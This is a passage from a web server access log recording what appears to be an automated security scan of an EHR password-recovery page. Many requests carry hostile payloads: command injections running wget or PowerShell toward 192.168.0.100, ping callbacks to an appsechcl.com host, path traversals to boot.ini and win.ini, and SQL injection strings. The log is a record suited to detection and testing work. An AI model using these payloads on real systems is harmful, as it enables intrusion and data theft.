/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D189 HTTP/1.1" 200 6761 100.64.0.1 - - [05/Dec/2025:21:52:05 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%7C%7C+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D188 HTTP/1.1" 200 6735 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:05 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%7C%7C+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D188 HTTP/1.1" 200 6735 100.64.0.1 - - [05/Dec/2025:21:52:06 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%7C+ping+-c+1+v3-ping-190-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com HTTP/1.1" 200 6755 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:06 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%7C+ping+-c+1+v3-ping-190-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com HTTP/1.1" 200 6755 100.64.0.1 - - [05/Dec/2025:21:52:06 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../boot.ini HTTP/1.1" 200 6732 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:06 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../boot.ini HTTP/1.1" 200 6732 100.64.0.1 - - [05/Dec/2025:21:52:06 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27+and+%27f%27%3D%27f%27+--+ HTTP/1.1" 200 6692 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:06 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27+and+%27f%27%3D%27f%27+--+ HTTP/1.1" 200 6692 100.64.0.1 - - [05/Dec/2025:21:52:06 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini%00.html HTTP/1.1" 200 6730 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:06 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini%00.html HTTP/1.1" 200 6730 100.64.0.1 - - [05/Dec/2025:21:52:08 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:08 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:52:06 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang='%20+%20''%20+%20'ZHS HTTP/1.1" 200 6685 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:06 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang='%20+%20''%20+%20'ZHS HTTP/1.1" 200 6685 100.64.0.1 - - [05/Dec/2025:21:52:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%27%3B+select+*+from+dbo.sysdatabases--&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%27%3B+select+*+from+dbo.sysdatabases--&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:52:09 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%27%3B+select+*+from+dbo.sysdatabases--&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:09 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:52:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang='%20||%20''%20||%20'ZHS HTTP/1.1" 200 6687 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang='%20||%20''%20||%20'ZHS HTTP/1.1" 200 6687 100.64.0.1 - - [05/Dec/2025:21:52:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini HTTP/1.1" 200 6717 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini HTTP/1.1" 200 6717 100.64.0.1 - - [05/Dec/2025:21:52:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%3Bpowershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D191 HTTP/1.1" 200 6765 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%3Bpowershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D191 HTTP/1.1" 200 6765 100.64.0.1 - - [05/Dec/2025:21:52:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%24%28wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D192%29 HTTP/1.1" 200 6735 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%24%28wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D192%29 HTTP/1.1" 200 6735 100.64.0.1 - - [05/Dec/2025:21:52:08 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%3B+ping+-c+1+v3-ping-193-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com HTTP/1.1" 200 6755 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:08 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%3B+ping+-c+1+v3-ping-193-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com HTTP/1.1" 200 6755 100.64.0.1 - - [05/Dec/2025:21:52:08 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../winnt/win.ini HTTP/1.1" 200 6737 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:08 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../winnt/win.ini HTTP/1.1" 200 6737 100.64.0.1 - - [05/Dec/2025:21:52:08 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/win.ini%c0%80.html HTTP/1.1" 200 6753 100.64.0.1 - - [05/Dec/2025:21:52:08 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/win.ini%c0%80.html HTTP/1.1" 200 6753 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:08 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:08 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:09 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:09 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:09 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:09 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:52:09 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini HTTP/1.1" 200 6722 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:09 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini HTTP/1.1" 200 6722 100.64.0.1 - - [05/Dec/2025:21:52:09 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:09 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:09 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%7C%7Cpowershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D194 HTTP/1.1" 200 6766 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:09 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%7C%7Cpowershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D194 HTTP/1.1" 200 6766 100.64.0.1 - - [05/Dec/2025:21:52:10 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%7C%7C+ping+-c+1+v3-ping-196-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com HTTP/1.1" 200 6756 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:10 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%7C%7C+ping+-c+1+v3-ping-196-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com HTTP/1.1" 200 6756 100.64.0.1 - - [05/Dec/2025:21:52:11 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:11 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:52:10 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%22+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D195+%23 HTTP/1.1" 200 6741 100.64.0.1 - - [05/Dec/2025:21:52:10 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%22+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D195+%23 HTTP/1.1" 200 6741 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:10 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini%c0%80.html HTTP/1.1" 200 6755 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:10 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini%c0%80.html HTTP/1.1" 200 6755 100.64.0.1 - - [05/Dec/2025:21:52:10 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../winnt/win.ini HTTP/1.1" 200 6737 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:10 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../winnt/win.ini HTTP/1.1" 200 6737 100.64.0.1 - - [05/Dec/2025:21:52:11 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:11 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:11 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:11 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:11 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini HTTP/1.1" 200 6724 100.64.0.1 - - [05/Dec/2025:21:52:11 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini HTTP/1.1" 200 6724 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:11 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd1+having+1%3D1--&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:11 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd1+having+1%3D1--&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:52:11 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:11 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:11 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D197%23 HTTP/1.1" 200 6771 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:11 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D197%23 HTTP/1.1" 200 6771 100.64.0.1 - - [05/Dec/2025:21:52:11 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%22+ping+-c+1+v3-ping-198-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com+%23 HTTP/1.1" 200 6762 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:11 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%22+ping+-c+1+v3-ping-198-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com+%23 HTTP/1.1" 200 6762 100.64.0.1 - - [05/Dec/2025:21:52:12 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%27+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D199+%23 HTTP/1.1" 200 6736 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:12 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%27+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D199+%23 HTTP/1.1" 200 6736 100.64.0.1 - - [05/Dec/2025:21:52:12 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\boot.ini%00.html HTTP/1.1" 200 6736 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:12 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\boot.ini%00.html HTTP/1.1" 200 6736 100.64.0.1 - - [05/Dec/2025:21:52:14 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd1+having+1%3D1--&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:14 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:52:12 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../windows/win.ini HTTP/1.1" 200 6739 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:12 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../windows/win.ini HTTP/1.1" 200 6739 100.64.0.1 - - [05/Dec/2025:21:52:12 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:12 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:12 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_errorWFXSSProbe&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:12 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_errorWFXSSProbe&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:13 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\boot.ini HTTP/1.1" 200 6730 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:13 +0800] "GET 